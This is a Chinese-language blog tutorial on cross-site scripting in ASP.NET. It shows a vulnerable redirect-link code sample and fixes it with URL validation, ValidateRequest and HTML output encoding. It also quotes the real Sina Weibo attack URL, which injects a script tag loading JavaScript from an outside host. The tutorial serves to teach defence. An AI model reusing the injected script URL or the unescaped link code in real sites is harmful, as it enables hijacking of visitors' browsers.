1.1.1 摘要
在本系列的第一篇博文中,我向大家介紹了SQL Injection常用的攻擊和防范的技術。這個漏洞可以導致一些非常嚴重的后果,但幸運的是我們可以通過限制用戶數據庫的權限、使用參數化的SQL語句或使用ORM等技術來防范SQL Injection的發生,接來了要向大家介紹Cross-site scripting(XSS)。
定義:Cross-site scripting(XSS),是一種經常出現在Web應用中的計算機安全漏洞,它允許惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中。比如,包括HTML代碼和客戶端腳本的頁面。為不和層疊樣式表(CSS)的縮寫混淆,通常將跨站腳本縮寫為XSS。攻擊者一般會利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)或發起phishing攻擊,網頁掛馬,cookie竊取等。
上面的定義有點別扭不好理解,讓我們回憶一下SQL Injection是把惡意的代碼注入的數據庫並且執行該SQL語句,最后返回相應數據,所以SQL Injection是作用於數據庫的,而XSS是通過發送惡意的代碼到服務,讓服務器把惡意代碼發送到其他用戶瀏覽器中,最后劫持用戶瀏覽器,所以XSS是作用於用戶的。
1.1.2 正文
XSS主要攻擊方式有兩種:
一種就像SQL Injection攻擊一樣,我把一段腳本注入到服務器上,用戶訪問方法服務器的某個URL,這個URL就會把遠端的js注入進來,這個js有可能自動進行很多操作。比如這次事件中的幫你發微博,幫你發站內消息等。注入有很多方法,比如:提交表單,更改URL參數,上傳圖片,設置簽名,等等。
另一類則是來自外部的攻擊,主要指的自己構造XSS 跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個跨站網頁放在自己的服務器上,然后通過結合其它技術,如社會工程學等,欺騙目標服務器的管理員打開。這一類攻擊的威脅相對較低,至少Ajax 要發起跨站調用是非常困難的(你可能需要hack瀏覽器)。
現在讓我們通過具體的例子來看看XSS攻擊是如何發生的,假設現在有一個招聘網站www.examplejob.com,它提供在該網站已注冊的用戶發布招聘信息和發送招聘信息到注冊用戶的功能。
圖1 發布正常招聘信息
通過該網站的發布招聘信息功能,我們把招聘信息發送到該網站的服務器中,然后服務器會把信息發送到注冊用戶中,這樣我們就實現了發布信息的目的了,然而當一些不懷好意好意的用戶他們很可能利用該網站存在的漏洞對用戶進行攻擊。
圖2發布惡意招聘信息
如上圖所示,不懷好意好意的用戶會把惡意代碼,如:JavaScript, VBScript, ActiveX, HTML或 Flash等,把它們嵌入到發布的信息中去,然后發送到服務器中,如果服務器沒有很好的校驗信息,直接把信息轉發到用戶,這將導致一場XSS攻擊災難。
通過上面的示意例子我們發現XSS攻擊和SQL Injection存在着相同點,它們是通過注惡意代碼進行攻擊的,不同點是它們攻擊對象不盡相同。
XSS是通過注入惡意代碼,如:JavaScript, VBScript, ActiveX, HTML, 或 Flash等來劫持用戶瀏覽器,進而通過構造惡意的URL。
通過構造惡意URL攻擊
假設現在有一個網站,它提供鏈接到www.examplejob.com網站的鏈接,這樣鏈接再普通不過了,但大家有沒有思考過這些外部鏈接可能存在危險呢?
圖3 正常頁面跳轉
通過上圖,可以看到狀態欄告訴我們這個鏈接將跳轉到http://www.exmplejob.com,為了更加直觀地分析XSS攻擊,我們直接在地址欄中添加url參數實現跳轉,示意代碼如下:
頁面實現:
<p>You are now leaving this site - we're no longer responsible!</p> <p><asp:Literal runat="server" ID="litLeavingTag" /></>
Code Behind:
var url = Request.QueryString["url"]; litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);
我們通過QueryString來獲取URL中傳遞的參數,如果URL中包含了惡意代碼,那么惡意代碼將跳轉到惡意網站或者直接執行惡意代碼劫持用戶瀏覽器。
圖4構造惡意URL
上圖我們在地址欄中輸入一段Javascript代碼,這也是XSS常用的攻擊手段,它通過構造惡意的URL,當用戶點擊鏈接后,實現在用戶的瀏覽器中運行惡意的代碼。
圖5構造惡意URL
當我們點擊鏈接后,這次瀏覽器運行了惡意Javascript代碼彈出了一個消息框提示我們已經被黑了,但實際情況XSS攻擊並不會那么容易被用戶察覺,而且攻擊不僅僅是彈一個提示框。
校驗用戶輸入
在前一博文中,我們通過正則表達式來校驗用戶輸入是否包含惡意代碼來防御SQL Injection攻擊,而這里我們也是通過正則表達式來檢驗用戶輸入是否包含惡意的代碼。
由於RFC3986規范中,規定只允使用19保留字符可以執行一些特殊功能,那么接下來讓我們實現URL的正則表達式校驗吧。
圖6 URL中保留字符
var url = Request.QueryString["url"]; if (!string.IsNullOrEmpty(url)) { this.litLeavingTag.Text = Regex.IsMatch(url, @"\w+:\/{2}[\d\w-]+(\.[\d\w-]+)*(?:(?:\/[^\s/]*))*") ? string.Format("<a href={0} >examplejob</a>", url) : "The url is invalid."; }
這里我們使用了Regex的靜態方法IsMatch()方法對URL進行校驗,當我們試圖再次注入惡意的Javascript代碼時,成功的校驗出了該URL是非法的。(想查看更強大URL校驗請點這里)
圖7 正則表達式校驗
前面我們使用自定義的正則表示式對URL進行校驗,但.NET Framework中已經提供了校驗URL是否合法的方法Uri.IsWellFormedUriString(),我們只需把URL字符串傳遞給它進行校驗就OK了,接下來讓我們實現校驗URL的功能。
MSDN:默認情況下,字符串被認為是符合 RFC 2396 和 RFC 2732 的標准格式的,如果啟用國際資源標識符(IRIs)或國際化域名解析(IDN)分析時,則符合RFC 3986和RFC 3987規范的字符串被認為是完備的,符合規范的。
var url = Request.QueryString["url"]; // Adds the method to validate the url is correct or not. if (Uri.IsWellFormedUriString(url, UriKind.Absolute)) { litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url); } else { litLeavingTag.Text = "The url is invalid."; }
圖8 正則表達式校驗
當我們再次執行包含惡意Javascript代碼的URL時,程序成功的校驗出了URL中包含了惡意代碼,這也就可以有效防御XSS攻擊了。
使用.NET中的ValidateRequest校驗
.NET Framework中提供ValidateRequest屬性防御XSS攻擊,由於ValidateRequest的默認值為true,當頁面中沒有設置ValidateRequest屬性值時,則頁面默認需要請求驗證,反之ValidateRequest為false時,頁面無需請求驗證,所以我們無需編寫一行代碼,就可以有效的防御XSS攻擊。
我們把正則表達式校驗功能注銷了,然后在頁面或Web.Config文件中,將ValidateRequest值設置為true,實現代碼如下:
頁面中設置:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="security.aspx.cs" Inherits="security" ValidateRequest="true" %>
Web.Config中的ValidateRequest屬性應用於所有頁面:
<pages validateRequest="true" />
圖9 ValidateRequest校驗
HTML編碼輸出
XSS漏洞是由於程序在輸出數據的時候沒有作好處理導致惡意代碼被瀏覽器解析造成的,所以另一種必不可少的XSS防御策略是輸出編碼方式,它通過確保在一個字符串中的每個字符都以正確的形式呈現。例如,為了在瀏覽器中正確地呈現“<”,“>”或空格等文本時,我們需要對其進行編碼處理,否則瀏覽器將根據這些特性文本去執行其功能,而不是正確的呈現在頁面上。
我們常見的HTML編碼有: ,<,>和" 等等。
通常,我們需要在網頁上顯示用戶輸入的數據,這時HttpUtility.HtmlEncode()方法派上用場了。
使用HttpUtility.HtmlEncode()方法來進行編碼的輸出,如果在傳遞的字符串中包含標點符合,它就會對該字符進行編碼處理,如下面的示例代碼所示。
protected void btnSubmit_Click(object sender, EventArgs e) { string inputText = this.Request.Form["txtInput"]; if (!string.IsNullOrEmpty(inputText)) { // Encodes text. this.litLeavingTag.Text = HttpUtility.HtmlEncode(inputText); } }
圖10 提交惡意代碼
上面我們把包含惡意Javascript代碼提交到服務器。
圖11 Html編碼輸出
服務器使用.NET Framework中提供的靜態方法——HttpUtility.HtmlEncode()對字符串中的標點符號進行編碼處理,我們看到符號“<”和“>”被轉化成為“<”和“>”了。
非HTML編碼輸出
前面對呈現的文本都使用了HTML編碼輸出,事實上並非所有的輸出都為HTML編碼。JavaScript就是一個很好的例子,讓我們回憶一下前面的介紹的例子You have been hacked,我們把文本顯示在一個消息提示框中,而非直接呈現在頁面上。
圖12 非Html編碼輸出
當我們把HTML編碼后的文本通過消息提示框顯示時,文本還是以編碼后的形式顯示沒有進行解碼處理,但用戶一看到他們的第一反應就是說我們的程序出現亂碼有問題,其實我們心知只是還沒有進行解碼處理而已,所以在一些非HTML編碼中我們還要先進行解碼處理HttpUtility.HtmlDecode()方法。
想必大家對新浪微博XSS攻擊事件記憶猶新吧!它利用了微博廣場頁面 http://weibo.com/pub/star 的一個URL注入了js腳本,然后通過http://163.fm/PxZHoxn短鏈接服務,將鏈接指向:
">">">http://weibo.com/pub/star/<script src=//www.2kt.cn/images/t.js></script>
URL編碼后顯示:
通過上面的例子大家發現其實上面的XSS攻擊也並不是那么神秘。
1.1.3 總結
XSS攻擊作為Web業務的最大威脅之一,它犯下了種種罪行例如新浪微博的XSS攻擊事件,不僅危害Web業務本身,對訪問Web業務的用戶也會帶來直接的影響,如何防御和阻止XSS攻擊,保障Web站點的業務安全,這個重擔有落到每一位開發者的身上了。
參考:
http://msdn.microsoft.com/en-us/library/ms998274
http://baike.baidu.com/view/2161269.htm